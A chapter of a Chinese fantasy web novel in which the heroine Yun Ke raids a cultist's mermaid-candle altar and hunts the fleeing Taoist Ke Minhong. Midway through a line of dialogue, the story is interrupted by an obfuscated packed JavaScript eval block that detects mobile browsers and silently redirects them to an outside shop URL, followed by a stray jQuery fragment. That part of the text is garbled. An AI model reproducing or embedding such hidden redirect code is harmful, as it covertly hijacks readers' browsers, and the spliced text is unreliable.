祭祀台的正空上方有上百株人鱼烛,烛光散发着深蓝色的光晕,在每根烛火的下方,都用红线相互缠绕串联,形成布阵之势。红线下方贴着许多斑驳不一的黄色符咒。
有些是新的,有些是陈年旧符。
祭祀台上用铁链拴着几十条活着的人鱼,周围血迹斑斑,零落在下方的是鳞片、贝壳,甚至还有鱼尾骨头,白森森的骨头裸露在空气中,散发着阴森恐怖的气息。
云珂心中一惊,和崔二交换了一个眼神,二人被这场景惊得不由得屏息凝神。
云珂看了一眼乌压压一大片的邪修,难道跟他们硬刚吗?
瞧了一眼旁边的崔二和雨苏,立刻摇了摇头,这是纯粹的送死,毫无意义的牺牲,垂下的眼眸突然划过一丝亮光。
“困死老子了——就挣这仨瓜俩枣,打牙缝都不够。”
邪修一号张开双臂,挺起腰身,打了个超级长的哈欠,全身厚厚的脂肪都跟着颤抖起来,类似于某种蠕虫。
邪修二号撇了他一眼,嘬了一口竹筒里的茶叶水:“不错了,你就知足吧,就这年头,你上哪儿找一份这么清闲的活儿,能混一天赚一天的工钱。”
“你说什么呢!”邪修一号眼睛瞪得圆圆的,活像是被侮辱了似的,双手插在了肥硕的猪腰上,“老子也是有理想信仰的,有梦想的——哎呦,我……”
话还没说完,邪修一号猛然间跌落回了祭祀台在墙根儿处,邪修二号站起身来,皱眉走上前去,伸腿踹了踹。
“哎哎——干嘛呢,躺地下装死呢,哎呦喂,咋,咋回事儿啊……”
两只邪修话还没说完,东倒西歪地就倒了下去,云珂和崔二上前将这两只邪修拖进了草丛里,将他们黑黢黢的衣服给扒拉下来。
云珂一手穿着邪修的衣裳,朝着雨苏说道:“你给我看紧这两个废物,灵蛊最多只能支撑六个时辰。”
雨苏眉头紧皱,开口提醒道:“云姑娘,柯敏洪那个妖道本就厉害,再加上他手里有那么多邪修,咱们如果不把它的爪牙拔掉,如何能够——”
云珂开口打断:“我知道,你去给我找几个陶瓷瓦罐,越多越好,还有粘土。”
“啥?”
雨苏简直要以为自己的耳朵听错了,这都什么时候了,还让她去找泥巴,找陶瓷干什么?过家家吗?
雨苏气愤地把头一偏,一副不肯动的模样。
云珂看着她这副模样,简直要被气笑了,她都把话说得这么明白了,这傻不愣登的白痴二货还没听懂。
“我如果不把这些蜡烛给灭了,不拔了柯敏洪的爪牙,我们根本没有胜算。”
雨苏瞳孔闪过亮光,虽然人鱼烛千年不灭,用水都浇不灭,除非用人鱼的歌声才能熄灭,可说到底也是烛火,若是隔绝空气,如何还能烧得起来。
雨苏大为惊喜:“云姑娘,你好聪明啊!”
云珂唇角微扬,抬起手一只青色的灵鸟从远处飞来,落在了她的指尖,唇齿微动,用鸟语说道:“雪衣娘,一会儿我要去灭了那些蜡烛,你在周围给我看看有什么异动,若有,立刻在空中鸣叫,给我信号。”
说罢,指尖轻轻上抬,雪衣娘立刻飞向空中盘旋。
云珂和崔陵披上了鬼修的外衣,将四下的走失邪修,能支开的都支开了,剩下一些钉子户,也放出灵蛊咬他们。
蓝色的烛光下,二人一鬼迅速地将陶瓷罐子和黏土糊在了人鱼烛火上。
底下被铁链拴住的人鱼嗷嗷乱叫,鱼尾和铁链不断地在空中挣扎,一颗一颗的珍珠从他们的眼眶滑落,一滴一滴地滴落在了祭祀台上。
云珂心头闪过一丝恻隐之心。
柯敏洪当初为了节省买蜡烛的费用,特地抓了几十条人鱼,日夜将他们困在这里,熬制人鱼膏制成人鱼烛。
以防人鱼作乱,用刀将他们的喉咙都割破了,还灌下了哑药,用心之险恶,行事之恶毒,简直骇人听闻。
云珂眼尾轻轻一瞥,身体顿住,侧过头仔细一看,人鱼素来美名有加,长相艳丽,骨骼清奇漂亮,不过其中有一个……
有点像阮游,不是长相上的,阮游并不是艳丽的那一种,而是面若观音的疏离和淡漠,其中有一个,是神色,有几分孤单、狼狈、寂寞……
云珂一步步走上前,朝着封印处走去,突然雨苏挡在了封印前:“云姑娘,人鱼向来狡诈,擅蛊惑……现在还不能放了他们。”
那条人鱼听到此处眼眶立刻红透了,低头垂落,大颗大颗的珍珠从眼眶落下,滴滴答答的敲击在地面上。
云珂脸色立刻沉了下去,看了雨苏一眼,沉声问道:“我怎么做事,用得着你来教吗?”
崔陵抿着唇角,神色复杂地看了一眼云珂,瞳孔里浮现出了不解,云珂歪头看了他一眼语气不善问道。
“怎么?你也要来教我做事吗?”
话音落地,僵持了一会儿,崔陵侧身让了开来,雨苏立即扯了扯崔陵的衣袍,嘴里嘟囔着。
云珂的指尖流动着红色的灵力,唇边轻启:“一句反正就是解咒的。”
那条人鱼尾巴立刻划开,滑了两三米远,又折返而来,从眼眶滴出了两颗晶莹剔透的珍珠,掌心摊开,递给云珂。
云珂的视线落在了他身上的伤痕,感受到了注视的眼神,皮肤像是被烫了似的,眼圈立刻红了起来,将头垂得低低的,神色躲闪。
云珂从他的掌心拿出了那两颗珠子,他立刻摆动着尾巴,消失在了草丛中,云珂看着他消失的背影,眼神里的温情荡然无存。
勾起唇角,看了一眼崔二。
那条人鱼其实并未跑远,神色慌张,用力地摆动着尾巴,顺着河流慢慢地流到了隐秘的暗河,随后爬上了岸,滑进了一间屋子里。
“柯道长,柯道长——”
熟睡中的柯敏洪梦见了自己在赌桌上大杀四方,赢得春风满面,可是衣摆一直被人揪着,喊他柯道长,美梦破碎,睁开眼,看见了一条滑动的鱼尾,惊得立刻坐起身来。
柯敏洪看清了来人,脸色十分难看,一手将他拍开:“你来干什么呢?”
说完就盖上被子,继续往床上一躺,又心安理得地合上了眼皮,可突然间就像是诈尸了一般,猛然坐起身来,大声问道。
“出什么事了?什么人闯进来了?”
人鱼白了柯敏洪一眼:“我也不认识,不过看他们的身手,像是仙门中人——”
话还未落地,只听见空中响起了少女催命的声音:“原来是躲在这里了啊!”
柯敏洪脸上的肌肉都紧绷了,狠狠地瞪着这个人影,扇了他两个巴掌:“妈的,你个成事不足败事有余的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879306|212437||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,如今引鬼上门了!”
柯敏洪立刻催动咒术,想要召唤出大量的邪修、走尸,却发现没用,惊恐大骇,随即气得牙齿咬的咯咯作响。
娘的!大晚上的被偷家了,还被这种中看不中用的蠢货引了路,真是点儿背到家了!
柯敏洪急得连衣服都来不及穿戴整齐,挪开床头的机关,就从密道里逃出去了。
云珂用力将门踹开,却发现屋子里除了那条人鱼,什么都不剩了,心中大为恼火,抬剑指向那条人鱼的喉咙,沉声问道:“人呢?”
“我……我不知道啊……他……”
云珂眼眸一沉,抬起手中的剑迅速插进了脚下的鱼尾巴。
“啊啊——啊啊啊——”
凄厉的惨叫骤然将枯树上的鸟群惊的飞起,她再次问道:“人呢?”
“姑娘饶命啊,我……我是真的不知道呀,饶了我吧……”
崔陵环顾四周,眉头轻轻地皱起,这房子脏乱得就跟猪圈没什么区别,除了……除了那个书架子,上面的书码放得整整齐齐,在整间屋子里显得尤为突兀。
崔陵指尖一转,幻化出弦月,将扇子轻轻打开,扬手一挥,书架立刻四分五裂,漫天纸屑从天而落,云珂心中暗暗吃了一惊,视线落在了那把散着蓝色光晕的扇子上,好厉害的法器啊,崔氏对这位二公子还真是够下血本的呀!
原来书架的后方只是一层薄薄的浮石,里面有一条黑暗通道。
云珂眉头一皱,抬脚踩住人鱼的鱼尾巴,用剑抵在他的腰部,沉声吩咐:“你,进去!”
暗道终年不见天日,黢黑潮湿散发着一股难闻的味道,云珂简直都要吐出来了,按道设置简,基本上是一条路走到通的,这赌鬼也没什么精妙的本事,也就只会打打老鼠洞,四处窜逃罢了。
不一会走出去了暗道,又绕到了暗河处,云珂脸色一沉,心下烦躁:“哼!这死老鼠跑不了多远。”
就在不远处的草丛里,一个角落里闪烁着一双阴森恐怖,被人世间的欲望吞噬殆尽的瞳孔。
“什么?!二十年——”
一个刚刚恢复了自我意识的庄稼汉子跑到河边,看着河水倒映中自己的模样,抬起指尖颤抖的摸上了自己鬓边的白发,惊恐的看向河水中既陌生又熟悉的面容,泪水滴滴答答的滑落而下。
“怎么会这样?我明明才十七岁,怎么变成这个鬼样子了……”
云珂看了一眼那张沧桑褶皱的老脸,心中微微一惊,原来他也才三十七,可那模样苍老的说是四五十都不为过。
雨苏的灵魂看起来更薄了,她望着曾经熟悉的乡亲们,低下了头,悲伤似乎在他的灵魂周围看起来更加浓厚了:“云姑娘,你说这些人又该怎么释怀呢?一生只有一次的人生,这样珍重,却被这些刍狗之辈肆意践踏,为了满足自己的财欲,剥夺了别人的人生,毁掉了原本属于他们平静幸福的生活。”
“咳咳咳——”
一个穿着粗布烂衫的老农哭天抹泪,痛不欲生的模样,实属凄惨,佝偻着的背驼得高高的,缓慢的步伐走向了般县的城门。
“老伯——您的东西掉了。”
云珂叫住了这位老农,走上前,伸手立刻反扣住了他的手腕,狠声低语。
“你用不着在衣袖里装鬼唬我,我认得你!”